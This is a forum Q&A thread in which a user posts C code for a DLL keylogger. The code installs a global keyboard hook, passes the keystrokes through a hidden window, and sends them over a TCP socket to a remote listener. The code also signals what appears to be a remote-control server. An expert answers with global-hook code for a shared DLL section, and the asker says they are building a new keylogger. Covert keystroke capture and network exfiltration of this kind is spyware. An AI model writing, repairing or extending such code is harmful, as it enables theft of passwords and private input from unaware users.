Link to home
Start Free TrialLog in
Avatar of afzalj
afzalj

asked on

SetWindowsHook Problem ?

Here is part of my program which is inside a DLL. The code is supposed to keylog all messages and send to a connected socket. However, it does not work for all keystrokes, only those associated with a process which has called a different context of the DLL ! (for some reason???) (see below for explanation)

Not all of the CODE, but general gist:

SOCKET          nsock;
HINSTANCE      hginstance, hracpapi;
HANDLE            hthread;
DWORD            exitcode, tid;

LRESULT CALLBACK keyproc(int code, WPARAM wParam, LPARAM lParam)
{
      if (code == HC_ACTION) {
short keystate = GetKeyState((int)wParam);
if ((HIBYTE(keystate) & 128) == 128) {
HWND      hwnd = FindWindow(NULL, "RACPLOGWND");            
      if (hwnd != NULL) // send to invisible window !            SendMessage(hwnd, 12345, wParam, lParam);
            }
      }
      else {                
            if (code < 0)
                   return CallNextHookEx(hook, code, wParam, lParam);
      }
      return 0;
}

LRESULT CALLBACK logwndproc(HWND hwnd, UINT umsg, WPARAM wparam, LPARAM lparam)
{
      switch (umsg) {
            case 12345:  // key data - we have a key press - send key to socket
                  int            scan, virt;
                  virt = (int)wparam;
                  scan = MapVirtualKey(virt, 0);
                  scan <= 16;
                  BYTE      kbuf[256];
                  WORD      ch;
                  int            chcount;
                  
                  GetKeyboardState(kbuf);
                  chcount = ToAscii(virt, scan, kbuf, &ch, 0);
                  if (virt == VK_RETURN) {
                        if ((send(nsock, (char *)"\n\r", 2, 0)) == SOCKET_ERROR)
                              PostQuitMessage(0);
                  }
                  else {
                        if ((send(nsock, (char *)&ch, chcount, 0)) == SOCKET_ERROR)
                              PostQuitMessage(0);
                  }
                  break;       
            case WM_CLOSE:
            case WM_DESTROY:
            case WM_ENDSESSION:
            case WM_QUIT:
            case WM_QUERYENDSESSION:
                  PostQuitMessage(0);
                  break;
      }      
      return DefWindowProc(hwnd, umsg, wparam, lparam);
}

void keylogthread(void *arg)
{
      WNDCLASS      wndclass = {0};
      MSG                  msg;
      WSADATA            wsadata;
      DWORD            addr = 0;
      struct            sockaddr_in sa;
      struct            _plpacket      plpacket;
      SOCKET            sock;
      int                  len = sizeof(sa);

      WSAStartup(0x0101, &wsadata);

      sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
      memcpy(&sa.sin_addr, &addr, 4);
      sa.sin_port = htons(12345);
      sa.sin_family = PF_INET;
      if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) == SOCKET_ERROR)
            return; // can't bind
      listen(sock, 5);
      plpacket.msg = CLID_PLUGIN;
      strcpy(plpacket.pl_execute, funcname);
      plpacket.udata = 1;
      (*senddata)(srvsock, sizeof(plpacket), (char *)&plpacket);
      nsock = accept(sock, (struct sockaddr *)&sa, &len);
      wndclass.style = 0;                                                                                    
      wndclass.lpfnWndProc = (WNDPROC)logwndproc;
      wndclass.hInstance = hginstance;
      wndclass.hIcon = NULL;
      wndclass.hCursor = NULL;
      wndclass.hbrBackground = NULL;
      wndclass.lpszMenuName = NULL;
      wndclass.lpszClassName = "RACPLOGCLASS";
      RegisterClass(&wndclass);
      hook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)keyproc, hginstance, 0);
      if (hook == NULL) {
            send(nsock, (char *)"Error ! Can't HOOK Keyboard!", 28, 0);
            return;
      }
      hwnd = CreateWindow("RACPLOGCLASS", "RACPLOGWND", 0, 0, 0, 0, 0, NULL, NULL, hginstance, NULL);
      if (hwnd == NULL) {
            send(nsock, (char *)"Error ! Can't Create Window!", 28, 0);
            UnhookWindowsHookEx(hook);
            closesocket(nsock);
            return;
      }
      while (GetMessage(&msg, hwnd, 0, 0))
            DispatchMessage(&msg);
      UnhookWindowsHookEx(hook);
}

The way it works is as follows:
When DLL_PROCESS_ATTACH occurs, instance is copied into global hginstance. Then, a listening socket is created and waits for a connection. When connected, set's up an invisible window whose job is to receive a 12345 message from the keyboard hook procedure. This message contains data about the key-press information recorded by the hook procedure.

As i said, it only records key-strokes from a specifc app which has called the DLL, but in a totally different context ! However, on any other app e.g. notepad, it is really slow typing and the hook proc does not receive any messages ? Is there something wrong with the Calling of the hook ? Please Help, Thanx,
Afzal.

Avatar of jkr
jkr
Flag of Germany image

Do you use the DLL's instance handle and a thread id set to 0 in your call to 'SetWindowsHookEx()'?
Avatar of afzalj
afzalj

ASKER

Yep
Avatar of afzalj

ASKER

The DLL instance handle is the same as the calling process instance handle, no ?
>>The DLL instance handle is the same as the calling
>>process instance handle

Not at all! It's the handle obtained by the call to 'LoadLibrary()'.

That's what I do (inside the DLL!):

#pragma data_seg( ".shared")
HHOOK       g_hhk   =   NULL;
#pragma data_seg()
#pragma comment ( linker, "/section:.shared,rws")

HINSTANCE   g_hThisDll;

int APIENTRY    DllMain (   HINSTANCE   hInstance,
                            DWORD       dwReason,
                            LPVOID      lpReserved
                        )
{
    if  (   dwReason    ==  DLL_PROCESS_ATTACH)
        {
            g_hThisDll  =   hInstance;

            return  (   DisableThreadLibraryCalls   (   g_hThisDll));
        }

    return( TRUE);
}


LONG __DYNLINK HookInit ()
{
    if  (   g_hhk)  return  (   ERROR_ALREADY_EXISTS);

    g_hhk   =   SetWindowsHookEx    (   WH_GETMESSAGE,
                                        ( HOOKPROC) HookProc,
                                        g_hThisDll,
                                        0
                                    );

    return  (   0);
}

LONG __DYNLINK HookTerm ( void)
{
    UnhookWindowsHookEx (   g_hhk);

    return  (   0);
}


Well, did it help?
ASKER CERTIFIED SOLUTION
Avatar of jkr
jkr
Flag of Germany image

Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial
Avatar of afzalj

ASKER

Nope, making a new keylogger altogther. Thanx, u can have points.
Thank you!